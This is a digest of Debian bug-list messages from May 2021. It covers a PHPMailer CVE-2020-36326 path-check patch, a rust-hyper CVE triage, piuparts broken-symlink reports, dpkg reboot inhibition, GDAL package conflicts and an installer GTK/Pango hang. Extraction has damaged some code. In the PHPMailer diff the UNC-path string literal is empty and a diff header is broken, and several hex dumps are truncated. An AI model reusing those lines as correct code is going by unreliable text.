libphp-phpmailer-6.2.0/debian/patches/0001-Reorder-path-checks-fixes-CVE-2020-36326.patch
 
libphp-phpmailer-6.2.0/debian/patches/0001-Reorder-path-checks-fixes-CVE-2020-36326.patch
--- 
libphp-phpmailer-6.2.0/debian/patches/0001-Reorder-path-checks-fixes-CVE-2020-36326.patch
   1970-01-01 01:00:00.0 +0100
+++ 
libphp-phpmailer-6.2.0/debian/patches/0001-Reorder-path-checks-fixes-CVE-2020-36326.patch
   2021-05-18 21:29:05.0 +0200
@@ -0,0 +1,33 @@
+From 26f2848d3bbb57add5f34a467a1e3b2f9ce5cd2a Mon Sep 17 00:00:00 2001
+From: Marcus Bointon 
+Date: Thu, 29 Apr 2021 10:52:38 +0200
+Subject: [PATCH] Reorder path checks, fixes CVE-2020-36326
+
+---
+ src/PHPMailer.php | 5 -
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/src/PHPMailer.php b/src/PHPMailer.php
+index 7c35f4a..66eaa38 100644
+--- a/src/PHPMailer.php
 b/src/PHPMailer.php
+@@ -1824,12 +1824,15 @@ class PHPMailer
+  */
+ protected static function fileIsAccessible($path)
+ {
++if (!static::isPermittedPath($path)) {
++return false;
++}
+ $readable = file_exists($path);
+ //If not a UNC path (expected to start with \\), check read 
permission, see #2069
+ if (strpos($path, '') !== 0) {
+ $readable = $readable && is_readable($path);
+ }
+-return static::isPermittedPath($path) && $readable;
++return  $readable;
+ }
+ 
+ /**
+-- 
+2.30.2
+
diff -Nru libphp-phpmailer-6.2.0/debian/patches/series 
libphp-phpmailer-6.2.0/debian/patches/series
--- libphp-phpmailer-6.2.0/debian/patches/series1970-01-01 
01:00:00.0 +0100
+++ libphp-phpmailer-6.2.0/debian/patches/series2021-05-18 
21:29:05.0 +0200
@@ -0,0 +1,2 @@
+0001-Match-all-RFC3986-scheme-patterns.patch
+0001-Reorder-path-checks-fixes-CVE-2020-36326.patch


OpenPGP_signature
Description: OpenPGP digital signature

Bug#988729: [Pkg-rust-maintainers] Bug#988729: CVE-2021-21299

[Fabian Grünbichler]

On May 18, 2021 8:42 pm, Moritz Muehlenhoff wrote:
> Source: rust-hyper
> Severity: grave
> Tags: security
> X-Debbugs-Cc: Debian Security Team 
> 
> CVE-2021-21299:
> https://github.com/hyperium/hyper/security/advisories/GHSA-6hfq-h8hq-87mf
> https://rustsec.org/advisories/RUSTSEC-2021-0020.html

FWIW, (rust-hyper) doesn't have any rdeps in bullseye AFAICT[1], so it 
could either be ignored there or removed from bullseye without 
consequences.

for bullseye+1, I plan on updating it as soon as sid is unfrozen again, 
but the dependency chain needed for that update is quite big so it might 
take a bit to pass through NEW etc (which was also the reason why it 
didn't get updated in time pre-freeze). there are no affected rdeps in 
unstable either though, as they are all using hyper as client, not 
server.

1: dev/list-rdeps.sh from debcargo-conf agrees

Bug#910377: Inhibit reboot/shutdown if dpkg is running

[Julian Andres Klode]

On Wed, May 19, 2021 at 04:03:16PM +0200, Laurent Bigonville wrote:
> reopen 910377
> reassign dpkg 1.20.9
> thanks
> 
> On Sat, 31 Aug 2019 00:34:32 +0200 Michael Biebl  wrote:
> 
> > On Fri, 5 Oct 2018 21:30:43 +0200 Michael Biebl  wrote:
> > > Am 05.10.18 um 21:28 schrieb Michael Biebl:
> > > > That said, also keep in mind, that the inhibit mechanism does not
> work
> > > > if the reboot request is triggered by privileged users [1], e.g.
> if you
> > > > trigger a reboot as root, an existing inhibitor blocks are ignored.
> > > > [1] https://github.com/systemd/systemd/issues/6644
> > >
> > > This issue describes this even better
> > > https://github.com/systemd/systemd/issues/2680
> > 
> > It seems there is no real interest to change this upstream and even if
> > at some point in the future there was a way to make inhibitors work for
> > the root user, I think such an inhibitor lock shoud be take directly by
> > dpkg. I don't think the hook interface is sufficient for that.
> 
> I'm reopening this issue and reassigning it dpkg package, that would at
> least avoid non privileged users to restart the machine when there is an
> update happening.
> 
> Apparently RPM has this functionality via a plugin. The manpage of the
> plugins available at [0] and says:
> 
>    This plugin for RPM prevents the system to enter shutdown, sleep
>    or idle mode while there is a rpm transaction running to prevent
>    system corruption that can occur if the transaction is
>    interrupted by a reboot.
> 
>    This is achieved by using the inhibit DBUS interface of systemd.
>    The call is roughly equivalent to executing
> 
>    systemd-inhibit --mode=block --what=idle:sleep:shutdown --who=RPM
>    --why="Transaction running"
> 
> The code is available in [1]
> 
> Having something similar in dpkg would be nice, but that would mean that
> dpkg will grow a dependency on libdbus and/or libsystemd, not sure how that
> would work

Or just use apt which already does this instead of manually running
dpkg? I mean, it wouldn't hurt to have dpkg inhibit too, but it's not
really relevant for most users given that apt-pkg library does and hence
apt, aptitude, packagekit.

-- 
debian developer - deb.li/jak | jak-linux.org - free software dev
ubuntu core developer  i speak de, en

Bug#988798: abinit-doc: broken symlink: /usr/share/doc/abinit/html/index.md -> guide/new_user.md

[Andreas Beckmann]

Package: abinit-doc
Version: 9.2.2-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m42.3s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/abinit/html/index.md -> guide/new_user.md (abinit-doc)


cheers,

Andreaas


abinit-doc_9.2.2-1.log.gz
Description: application/gzip

Bug#988797: RC1 installation report

[Paul van der Vlis]

Package: installation-reports

I did install Debian on an Acer laptop. The installation went OK, but I 
have some things to tell:


1. After the installation the 240GB SSD was after a short period full 
with PCIe AER errors in the logs.  I think it's good to tell about 
errors in the logs, but doing that thousands of times is not OK.

After using "PCI=NOAER" the laptop works fine.

2. After the installation the sources.list had a "deb cdrom" line. 
Important to tell that I've used the official DVD ISO image. This 
problem was there too in Debian 10. I will add the sources.list.
I think most people who use a DVD-iso will use internet to install more 
packages, and will remove the DVD or stick. I sell Debian DVD's.


With regards,
Paul van der Vlis




-
# deb cdrom:[Debian GNU/Linux bullseye-DI-rc1 _Bullseye_ - Official 
Snapshot amd64 DVD Binary-1 20210415-20:26]/ bul>


deb cdrom:[Debian GNU/Linux bullseye-DI-rc1 _Bullseye_ - Official 
Snapshot amd64 DVD Binary-1 20210415-20:26]/ bulls>


deb http://ftp.nl.debian.org/debian/ bullseye main
deb-src http://ftp.nl.debian.org/debian/ bullseye main

deb http://security.debian.org/debian-security bullseye-security main 
contrib
deb-src http://security.debian.org/debian-security bullseye-security 
main contrib

-


--
Paul van der Vlis Linux systeembeheer Groningen
https://www.vandervlis.nl/

Bug#988789: diffoscope: .so files are compared using a binary diff in Android APKs

[Chris Lamb]

Hi Hans,

> APKs (Android app files) often contain Linux ELF shared library files, e.g.
> lib/arm64-v8a/libtor.so.  These are only compared using a binary diff, but 
> they
> should use the shared library comparison.  The output looks like:

It would be great to fix this for you. Could you provide some example
APK files so I can reproducible what you are currently seeing but also
confirm that any changes actually solve your problem?

Thanks in advance,

-- 
  ,''`.
 : :'  : Chris Lamb
 `. `'`  la...@debian.org  chris-lamb.co.uk
   `-

Bug#736373: using this patch with salsa & openqa

[Ian Campbell]

On Wed, 2021-05-19 at 00:03 +0200, Philip Hands wrote:
Hi Ian,

Thanks for the patch. It's proven very useful while seting up pipelines on 
salsa that can be run when a udeb's git repo is pushed, such that
a mini.iso is produced that will make use of a repository containing
that udeb.

While getting that to work, I noticed that your patch does not deal well with 
the repos that aptly produces because they do not include a
Packages.xz, which means that when the Packages.xz is found in the main repo, 
it stops searching the devel repo.

That being the case, I've re-jigged things a bit, as seen here:
 
https://salsa.debian.org/philh/net-retriever/-/compare/master...extra-udeb-repo?w=1

(BTW I intend to tidy up the commits there tomorrow, as they include
some false starts at present, so probably best to wait until I've done that 
before using anything out of that branch)

Glad it was useful, I'd completely forgotten I'd even written that patch!

My knowledge of this side of things is pretty stale, but FWIW I didn't
see anything untoward in your updated diff.

Cheers,
Ian.

Bug#988796: python-circuits-doc: broken symlinks: /usr/share/doc/python-circuits-doc/html/_static/*.js

[Andreas Beckmann]

Package: python-circuits-doc
Version: 3.1.0+ds1-2
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m40.1s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/python-circuits-doc/html/_static/doctools.js -> 
../../../../javascript/sphinxdoc/1.0/doctools.js (python-circuits-doc)
  /usr/share/doc/python-circuits-doc/html/_static/jquery.js -> 
../../../../javascript/sphinxdoc/1.0/jquery.js (python-circuits-doc)
  /usr/share/doc/python-circuits-doc/html/_static/searchtools.js -> 
../../../../javascript/sphinxdoc/1.0/searchtools.js (python-circuits-doc)
  /usr/share/doc/python-circuits-doc/html/_static/sidebar.js -> 
../../../../javascript/sphinxdoc/1.0/sidebar.js (python-circuits-doc)
  /usr/share/doc/python-circuits-doc/html/_static/underscore.js -> 
../../../../javascript/sphinxdoc/1.0/underscore.js (python-circuits-doc)

You can probably just use the substvars provided by sphinxdoc:

dpkg-gencontrol: warning: package python-circuits-doc: substitution variable 
${sphinxdoc:Built-Using} unused, but is defined
dpkg-gencontrol: warning: package python-circuits-doc: substitution variable 
${sphinxdoc:Depends} unused, but is defined


cheers,

Andreas


python-circuits-doc_3.1.0+ds1-2.log.gz
Description: application/gzip

Bug#988795: keyring 1.3.1 broken with mercurial demand imports

[Adi Kriegisch]

Package: mercurial-keyring
Version: 1.3.1-3
Severity: important

Dear maintainer,

mercurial-keyring is currently unusable in bullseye due to this bug:
https://foss.heptapod.net/mercurial/mercurial_keyring/-/issues/69
that is already fixed upstream:
https://foss.heptapod.net/mercurial/mercurial_keyring/-/commit/392dc26703721711ffad42c16e5c32af7428bc28
in version 1.3.2. It would be great to get at least the fix backported to
the current version in bullseye in order to have a working
mercurial-keyring package once stable gets released.

A workaround for the user is to set "HGDEMANDIMPORT=disable", thus this bug
does not render the package completely unusable.

Thank you and all the best,
Adi


signature.asc
Description: PGP signature

Bug#988794: python-dask-doc: broken symlinks: /usr/share/doc/python-dask-doc/html/_static/{js-yaml,js/html5shiv.min}.js

[Andreas Beckmann]

Package: python-dask-doc
Version: 2021.01.0+dfsg-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m41.6s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/python-dask-doc/html/_static/js-yaml.js -> 
/nodejs/js-yaml/js-yaml.js (python-dask-doc)
  /usr/share/doc/python-dask-doc/html/_static/js/html5shiv.min.js -> 
/sphinx_rtd_theme/static/js/html5shiv.min.js (python-dask-doc)

The targets are missing several levels of '../'


cheers,

Andreas


python-dask-doc_2021.01.0+dfsg-1.log.gz
Description: application/gzip

Bug#988793: python-django-extensions-doc: broken symlink: /usr/share/doc/python-django-extensions/rst -> html/_sources

[Andreas Beckmann]

Package: python-django-extensions-doc
Version: 3.0.3-3
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m43.0s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/python-django-extensions/rst -> html/_sources 
(python-django-extensions-doc)


The broken symlink is the only thing shipped in
/usr/share/doc/python-django-extensions/
everythign else (including html/_sources) is in
/usr/share/doc/python-django-extensions-doc/


cheers,

Andreas


python-django-extensions-doc_3.0.3-3.log.gz
Description: application/gzip

Bug#988792: Fix for bug should have a test

[William Wilson]

Package: procps
Version: 2:3.3.17-5

Due to the possibility of future kernel changes affecting this issue again,
a test should be added to ensure unlimited stack sizes are still viable.
The following patch will implement the test:

diff -Nru procps-3.3.17/debian/tests/control
procps-3.3.17/debian/tests/control
--- procps-3.3.17/debian/tests/control  2021-04-06 02:17:53.0 -0500
+++ procps-3.3.17/debian/tests/control  2021-04-06 04:24:31.0 -0500
@@ -1,3 +1,4 @@
+Tests: stack-limit
+
 Tests: version
 Restrictions: superficial
-
diff -Nru procps-3.3.17/debian/tests/stack-limit
procps-3.3.17/debian/tests/stack-limit
--- procps-3.3.17/debian/tests/stack-limit  1969-12-31
18:00:00.0 -0600
+++ procps-3.3.17/debian/tests/stack-limit  2021-03-24
10:09:08.0 -0500
@@ -0,0 +1,8 @@
+#!/bin/bash
+
+set -e
+
+# set the stack size to unlimited and then run pgrep
+ulimit -S -s unlimited
+
+pgrep bash

Bug#988791: python-djangorestframework-doc: broken symlink: /usr/share/doc/python3-djangorestframework/html/js/jquery-1.10.2.min.js -> ../../../../nodejs/jquery/dist/jquery.min.js

[Andreas Beckmann]

Package: python-djangorestframework-doc
Version: 3.12.1-1
Severity: normal
User: debian...@lists.debian.org
Usertags: piuparts

Hi,

during a test with piuparts I noticed your package ships (or creates)
a broken symlink.

>From the attached log (scroll to the bottom...):

0m54.0s ERROR: FAIL: Broken symlinks:
  /usr/share/doc/python3-djangorestframework/html/js/jquery-1.10.2.min.js -> 
../../../../nodejs/jquery/dist/jquery.min.js (python-djangorestframework-doc)

Current node-jquery only ships /usr/share/nodejs/jquery/dist/jquery.js


cheers,

Andreas


python-djangorestframework-doc_3.12.1-1.log.gz
Description: application/gzip

Bug#988790: libhttp-lrdd-perl: FTBFS: Undefined subroutine ::Util::set_prototype called

[Niko Tyni]

Source: libhttp-lrdd-perl
Version: 0.106-2
Severity: serious
Tags: ftbfs

This package fails to build from source on current sid.

  #   Failed test 'use HTTP::LRDD;'
  #   at t/01basic.t line 19.
  # Tried to use 'HTTP::LRDD'.
  # Error:  Undefined subroutine ::Util::set_prototype called at 
/usr/share/perl5/Types/TypeTiny.pm line 360.

Full logs available at 
https://tests.reproducible-builds.org/debian/libhttp-lrdd-perl

According to the test history there, this regressed between 2020-10-29 and 
2020-11-03,
probably with libtype-tiny-perl 1.012000-1.

#975208 looks similar and indicates this is probably an issue with an
outdated Scalar::Util in inc/ . I don't know why libhttp-lrdd-perl wasn't
spotted back then, but better late than never I guess.
-- 
Niko Tyni   nt...@debian.org

Bug#986975: libgdal28: please add Breaks: libgdal20

[Sebastiaan Couwenberg]

On 5/19/21 6:21 PM, Dennis Filder wrote:
> Do you remember why you added that Breaks:? 

Because files in gdal-data (>= 2.5.0~) cannot be used by libgdal20 (<<
2.5.0~). GDAL 2.5.0~beta1 introduced PROJ 6 support, which changed the
content of proj-data significantly, making it incompatible with prior
versions.

This issue affected Ubuntu bionic where the newer GDAL is available via
the UbuntuGIS PPA.

> And if it was due to
> upstream changes does that mean that postgis-enabled clusters are
> essentially unmigratable unless you dump them in full before starting
> the upgrade?  Because if so, this should be mentioned in the Bullseye
> release notes.

PostGIS databases have never been able to be migrated during a
distribution upgrade. You've always needed to recreate the databases in
the new cluster.

With the PostGIS library no longer including the minor version in its
filename since 3.0, it might be possible to migrate PostGIS databases
with pg_upgradecluster from bullseye to bookworm if PostGIS 3.x will be
in bookworm too.

Kind Regards,

Bas

-- 
 GPG Key ID: 4096R/6750F10AE88D4AF1
Fingerprint: 8182 DE41 7056 408D 6146  50D1 6750 F10A E88D 4AF1

Bug#820848: RFS: phcpack 2.4.84 (NEW)

[Torrance, Douglas]

Control: tags -1 pending

I've finished packaging PHCpack, which is written in Ada and solves polynomial 
systems using homotopy continuation, for Debian.  It also includes Python and 
Octave interfaces.

Would anyone be willing to review/sponsor?  Note that I currently have it set 
for upload to unstable since it's destined for the NEW queue and I don't think 
that would interfere with the freeze, but perhaps it would make sense to upload 
to experimental instead?

https://salsa.debian.org/science-team/phcpack

Thanks!
Doug

Bug#988789: diffoscope: .so files are compared using a binary diff in Android APKs

[Hans-Christoph Steiner]

Package: diffoscope
Version: 172~bpo10+1
Severity: important


APKs (Android app files) often contain Linux ELF shared library files, e.g.
lib/arm64-v8a/libtor.so.  These are only compared using a binary diff, but they
should use the shared library comparison.  The output looks like:

├── lib/arm64-v8a/libtor.so
│┄ Command `'strings --all --bytes=8 {}'` failed with exit code 1. Standard
output:
│┄ /usr/bin/strings:
'/tmp/diffoscope_4_ifbg_p_release/tmpqowyi8ycapk/org.torproject.torservices_2004.apk/lib/arm64-v8a/libtor.so':
No such file
│ @@ -386405,15 +386405,15 @@
│  005e5640: 0800         
│  005e5650: 5d00  0400  0200     ]...
│  005e5660: 08cc 0a00   08cc 0a00    
│  005e5670: d06f 0500   0500     .o..
│  005e5680: 0800    1800     
│  005e5690: 6700  0400  4200     g...B...
│  005e56a0: d83b 1000   d83b 1000    .;...;..
│ -005e56b0: b016    0500  0b00   
│ +005e56b0: b016    0500  1500   
│  005e56c0: 0800    1800     
│  005e56d0: 6c00  0100  0600     l...
│  005e56e0: 9052 1000   9052 1000    .R...R..
│  005e56f0: 400f         @...
│  005e5700: 1000    1000     
│  005e5710: 7100  0100  0600     q...
│  005e5720: 0070 1000   0070 1000    .p...p..


When running diffoscope directly on the extracted libtor.so files, then I get
useful output:

--- ./ciarang/lib/arm64-v8a/libtor.so
+++
./app/build/intermediates/stripped_native_libs/release/out/lib/arm64-v8a/libtor.so
├── readelf --wide --sections {}
│ @@ -8,15 +8,15 @@
│[ 3] .hash HASH02e8 0002e8 012eb8 04
A  5   0  8
│[ 4] .gnu.hash GNU_HASH000131a0 0131a0 014ae4 00
A  5   0  8
│[ 5] .dynsym   DYNSYM  00027c88 027c88 041688 18
A  6   3  8
│[ 6] .dynstr   STRTAB  00069310 069310 03e17b 00
A  0   0  1
│[ 7] .gnu.version  VERSYM  000a748c 0a748c 005736 02
A  5   0  2
│[ 8] .gnu.version_rVERNEED 000acbc8 0acbc8 40 00
A  6   2  8
│[ 9] .rela.dyn RELA000acc08 0acc08 056fd0 18
A  5   0  8
│ -  [10] .rela.plt RELA00103bd8 103bd8 0016b0 18
AI  5  11  8
│ +  [10] .rela.plt RELA00103bd8 103bd8 0016b0 18
AI  5  21  8
│[11] .plt  PROGBITS00105290 105290 000f40 10
AX  0   0 16
│[12] .text PROGBITS00107000 107000 392da4 00
AX  0   0 4096
│[13] .rodata   PROGBITS00499db0 499db0 0c5418 00
A  0   0 16
│[14] .eh_frame_hdr PROGBITS0055f1c8 55f1c8 00af84 00
A  0   0  4
│[15] .eh_frame PROGBITS0056a150 56a150 031280 00
A  0   0  8
│[16] .preinit_arrayPREINIT_ARRAY   0059cae0 59bae0 10 08
WA  0   0  8
│[17] .init_array   INIT_ARRAY  0059caf0 59baf0 18 08
WA  0   0  8
├── readelf --wide --decompress --hex-dump=.plt {}
│ @@ -1,10 +1,9 @@
│
│  Hex dump of section '.plt':
│ - NOTE: This section has relocations against it, but these have NOT been
applied to this dump.
│0x00105290 f07bbfa9 90260090 11b644f9 10a22591 .{...&D...%.
│0x001052a0 20021fd6 1f2003d5 1f2003d5 1f2003d5   ... ... ..
│0x001052b0 90260090 11ba44f9 10c22591 20021fd6 .&D...%. ...
│0x001052c0 90260090 11be44f9 10e22591 20021fd6 .&D...%. ...
│0x001052d0 90260090 11c244f9 10022691 20021fd6 .&D...&. ...
│0x001052e0 90260090 11c644f9 10222691 20021fd6 .&D.."&. ...
│0x001052f0 90260090 11ca44f9 10422691 20021fd6 .&D..B&. ...
├── readelf --wide --decompress --hex-dump=.got {}
│ @@ -1,9 +1,10 @@
│
│  Hex dump of section '.got':
│ + NOTE: This section has relocations against it, but these have NOT been
applied to this dump.
│0x005d5958     
│0x005d5968   90521000  .R..
│0x005d5978 90521000  90521000  .R...R..
│0x005d5988 90521000  90521000  .R...R..
│0x005d5998 90521000  90521000  .R...R..
│0x005d59a8 90521000  90521000  .R...R..
│0x005d59b8 90521000  90521000  .R...R..



-- System Information:
Debian Release: 10.9
  APT prefers stable-updates
  APT policy: (500, 'stable-updates'), (500, 'stable'), (100, 
'proposed-updates')
Architecture: amd64 (x86_64)

Kernel: 

Bug#986975: libgdal28: please add Breaks: libgdal20

[Dennis Filder]

Hi,

as stated in #988722 during my upgrade to Bullseye I could not cleanly
migrate a postgresql cluster with a table using features from the
postgis extension.  Apparently the reason is that
postgresql-11-postgis-2.5 and postgresql-13-postgis-3 are currently
not co-installable because some dependencies of the latter are in
conflict with dependencies of the former (but to migrate a cluster you
need both).  One is libhdf5-103-1 (which has a Breaks/Replaces on
libhdf5-103) which #988722 covers and which the postgresql team is
aware of.  Another is gdal-data 3.2.1+dfsg-1 (but also 3.2.2+dfsg-1)
which defines a Depends: on libgdal28, but also a Breaks: on libgdal20
(<< 2.5.0~) introduced with commit a029936[1].
postgresql-11-postgis-2.5 depends on libgdal20 2.4.0, but I don't
think they've realized this yet.

I tried to bring this to the attention of Julien Cristau (who
reassigned #988722 to hdf5) yesterday, but so far he hasn't reacted.
I'd also like a second opinion/confirmation for how big of a problem
this actually is.  And if you deem it a problem could you make the
postgresql team aware of this?

Do you remember why you added that Breaks:?  And if it was due to
upstream changes does that mean that postgis-enabled clusters are
essentially unmigratable unless you dump them in full before starting
the upgrade?  Because if so, this should be mentioned in the Bullseye
release notes.

Regards,
Dennis.

1: 
https://salsa.debian.org/debian-gis-team/gdal/-/commit/a029936168d5b164c5943ebdcd97b417a1751829

Bug#986320: Stronger advice on when to use native packages

[Sam Hartman]

> "Sean" == Sean Whitton  writes:

Sean> Hello,
Sean> On Sat 03 Apr 2021 at 09:25AM -07, Russ Allbery wrote:

>> To be clear, my understanding of the advocacy of using non-native
>> packages is primarily about their impact on *Debian* workflows
>> (being able to base multiple packages on the same tarball, not
>> introducing confusion between upstream version numbers and Debian
>> version numbers and thus making it easier for other people in
>> Debian to track the package to an upstream version, triggering
>> various package checks that ignore native packages but care about
>> non-native packages such as uscan, etc.).

Sean> I believe that we need to distinguish between version numbers
Sean> without Debian revisions and native source package formats.
Sean> At one point an experienced contributor convinced me that
Sean> there are cases where it is good to use a version number with
Sean> a Debian revision but a native source package format.

I agree with this advice.
Does the current tooling support it?

Sean> Perhaps we can already write something useful in Policy about
Sean> packages which don't use Debian revisions, even though there
Sean> is a lack of consensus about source package formats?
Sean> Something like: you should always include a Debian revision
Sean> unless the package has a release process which is tightly
Sean> coupled with making uploads to the Debian archive (and we
Sean> would not want to include the converse, that having such a
Sean> tight coupling implies you shouldn't include a Debian
Sean> revision).

Assuming that dpkg-source supports this, I would generally support the
advice you're working toward and would be likely to second specific
text.

Bug#988788: cfengine3-augments: can't override mpf_update_policy_master_location

[Valentin Kleibel]

Package: cfengine3
Version: 3.12.1-2
Source: cfengine3

Dear Maintainers,

I noticed a bug in the mpf framework that prevents overriding the master 
policy location via augments.

It ist well documented here: https://tracker.mender.io/browse/CFE-2953
I have also attached the patch.

Best regards,
Valentin
--- a/controls/update_def.cf
+++ b/controls/update_def.cf
@@ -145,7 +145,7 @@
   "mpf_update_policy_master_location" -> { "ENT-3692" }
 comment => "Directory where clients should get policy from.",
 string => "$(def.mpf_update_policy_master_location)",
-if => isvariable( $(def.mpf_update_policy_master_location) );
+if => isvariable( "def.mpf_update_policy_master_location" );
 
 # enable_cfengine_enterprise_hub_ha is defined below
 # Disabled by default

Bug#988632: audacity: The main drawing area (sound wave) do not refresh

[Dennis Filder]

X-Debbugs-CC: poming...@gmail.com

This appears to be known problem:
https://forum.audacityteam.org/viewtopic.php?f=48=110214

You could still investigate further by testing if similar behaviour
manifests in other wxwidgets applications.  Running

aptitude search '~Guitoolkit::wxwidgets'

will give you a list.

I suspect that the issue is due to GL rendering problems.  You could
try changing some environment variables.  A list of available ones is
here: https://docs.mesa3d.org/envvars.html
LIBGL_ALWAYS_SOFTWARE=true would be the first thing I'd try.

Beyond that I doubt there is much anyone could do.  Since you report
that it works with the newest release compiled from source, I would
recommend to just hope and wait for a backport/proposed update.

Regards,
Dennis.

Bug#988489: ddcutil: Kernel 5.10 changes require ddcutil 1.1

[Sanford Rockowitz]

Joris, if there's been a loss of functionality of ddcutil 0.9.9 with 
kernel 5.8 (or earlier) vs kernel 5.10 (or later) I need to understand 
what that is, irrespective of the decision on inclusion of ddcutil in 
bullseye (well above my pay grade).   To date I've had no other problem 
reports in that category.   Please submit the output of "ddcutil 
environment --verbose" for ddcutil 0.9.9 on both kernel 5.9 (or earlier) 
and 5.10 (or later).  Thank you.


On 05/19/2021 10:55 AM, Joris wrote:

Hi,

After some digging, I think we should position it to grave. I was 
unable to find a scenario with ddcutil working in linux 5.10 but my 
test setups are limited.
The version number jumps may feel significant, but the changes 
(http://www.ddcutil.com/release_notes/ + 
http://www.ddcutil.com/prior_announcements/) appear to be limited (yet 
critical!) and "inside" the binary (heuristics) - but I'm not suited 
to properly judge that.
There are no reverse dependencies, so that really limits the risk of 
updating I think.


Kind regards,

Op za 15 mei 2021 om 17:35 schreef Andrey Rahmatullin >:


On Sat, May 15, 2021 at 10:36:23AM -0400, Sanford Rockowitz wrote:
> ddcutil 1.1.0 was uploaded to mentors on 4/22.  Per the sponsor
(Andrey
> Rahmatulin) it was not moved to sid because of the freeze for
Bullseye.
If the package doesn't work with the bullseye kernel it's a grave
bug, not
important, and the package should be fixed (or removed).
Ti be eligible for bullseye the update should be a minimal patch
added to
the bullseye version.
What do you think?


> On 5/14/21 1:10 AM, Joris wrote:
> > Package: ddcutil
> > Version: 0.9.9-2
> > Severity: important
> > Tags: upstream
> > X-Debbugs-Cc: jo...@v5.be 
> >
> >
> >
> >
> > -- System Information:
> > Debian Release: bullseye/sid
> >APT prefers testing-security
> >APT policy: (500, 'testing-security'), (500, 'testing')
> > Architecture: amd64 (x86_64)
> >
> > Kernel: Linux 5.10.0-6-amd64 (SMP w/8 CPU threads)
> > Kernel taint flags: TAINT_OOT_MODULE, TAINT_UNSIGNED_MODULE
> > Locale: LANG=en_GB.UTF-8, LC_CTYPE=en_GB.UTF-8
(charmap=UTF-8), LANGUAGE=en_GB:en
> > Shell: /bin/sh linked to /usr/bin/dash
> > Init: systemd (via /run/systemd/system)
> > LSM: AppArmor: enabled
> >
> > Versions of packages ddcutil depends on:
> > ii  i2c-tools 4.2-1+b1
> > ii  libc6 2.31-11
> > ii  libdrm2   2.4.104-1
> > ii  libglib2.0-0  2.66.8-1
> > ii  libudev1  247.3-5
> > ii  libx11-6  2:1.7.0-2
> > ii  libxrandr22:1.5.1-1
> > ii  pci.ids   0.0~2021.02.08-1
> > ii  usb.ids   2021.03.31-1
> > ii  usbutils  1:013-3
> >
> > ddcutil recommends no packages.
> >
> > ddcutil suggests no packages.
> >
> > -- no debconf information
> >
> >
> > >From the release information on ddcutil
(http://www.ddcutil.com/release_notes/) it seems Linux kernel 5.10
made changes. They are listed as "docking stations" but in my
experience also apply to directly connected HDMI and Thunderbolt
displays.
> > Ddcutil 1.0.1 and 1.1.0 include workarounds for this kernel.
On my system bringing back the same capabilities I had under
kernel 5.8, whereas with ddcutil 0.9.9 on kernel 5.10 there was
simply no device detected.
> >
> > As 5.10 seems to be the default in the upcoming Debian
release, it would be very nice to get ddcutil updated as well.
> > I had no issue building ddcutil from source.
> >
>
>

-- 
WBR, wRAR

Bug#987587: libpango1.0-udeb: hangs the installer in various situations

[Simon McVittie]

Control: clone 987587 -2 -3
Control: reassign -2 libgtk2.0-0-udeb 2.24.33-1
Control: retitle -2 libgtk2.0-0-udeb: should avoid GtkTextView relayout loop if 
width from Pango oscillates
Control: tags -2 + patch pending
Control: reassign -3 cdebconf-gtk-udeb 0.257
Control: retitle -3 cdebconf-gtk-udeb: should give GTK a chance to do layout 
before adding lots of text
Control: tags -3 + patch
Control: retitle 987587 libpango1.0-udeb: asking for less width can result in 
more width being requested
Control: severity 987587 normal
Control: tags 987587 + help

On Wed, 19 May 2021 at 16:39:21 +0100, Simon McVittie wrote:
> Following the rule of thumb that bad interactions between two components
> should often be fixed on *both* sides, I'd be tempted to clone this bug,
> reassign to both gtk+2.0 and cdebconf, and apply both changes.

As discussed with kibi on the merge requests, let's do this.

Clone -2 is for GTK, and is resolved by
. I'll
handle this.

Clone -3 is for cdebconf, and is resolved by
.
Please don't merge until the new bug number is available.

> As for Pango, I'm afraid figuring out whether it is doing something wrong
> here is beyond my expertise.

I'll leave #987587 assigned to Pango, but I'm de-escalating it to non-RC
since it isn't at all obvious to me whether it's a bug, and resolving the
clones -2 and -3 will fix the release-critical issue.

smcv

Bug#987587: libpango1.0-udeb: hangs the installer in various situations

[Cyril Brulebois]

Simon McVittie  (2021-05-19):
> It wasn't obvious to me where we'd keep track of this, or how correct
> it would be to do that - cache invalidation is reputed to be one of the
> hardest problems in computer science, and this would be one more thing
> that needs to be invalidated on at least those occasions when the layout
> has legitimately changed (but without invalidating it too often because
> that would destroy the workaround).
> 
> Having reproduced the English/rescue issue and got further with the
> Sinhala/install issue with the GTK MR referenced below, I think it can
> also happen that the layout flaps by an amount greater than 1 pixel
> (I think the most I've seen is 4px), so a special case for n/n+1 isn't
> going to be enough.
> 
> One of the reasons this took me a while is that I got distracted by the
> difference I was seeing being exactly 1px, which I thought might be to
> do with GTK adding 1px of extra width to make sure there's space for a
> cursor - but after tracing through it, it seemed like GTK is always
> adding/removing that width correctly.

Looking at the traces I saved when installing in Swedish with just the
GTK patch, I'm seeing a bunch of 1px to 4px differences, but it can even
reach 8px!

[…] we asked Pango to wrap text for width 186px but it now wants 194px. 
Clamping result to 186px!

> > > My next thing to get a try when I get a chance will be to make GTK
> > > refuse to obey Pango when GTK asks Pango to stick to a width limit
> > > and Pango goes outside that limit, with a g_warning().
> 
> This works: https://salsa.debian.org/gnome-team/gtk2/-/merge_requests/2
> 
> The other thing I wanted to try was to make cdebconf create the
> GtkTextView in an empty state, and then populate it with text a little
> later (perhaps after layout but before drawing, or perhaps drawing one
> frame without text and then adding the text in the next frame, I'm not
> actually sure). And that also works:
> https://salsa.debian.org/installer-team/cdebconf/-/merge_requests/6
> 
> Following the rule of thumb that bad interactions between two
> components should often be fixed on *both* sides, I'd be tempted to
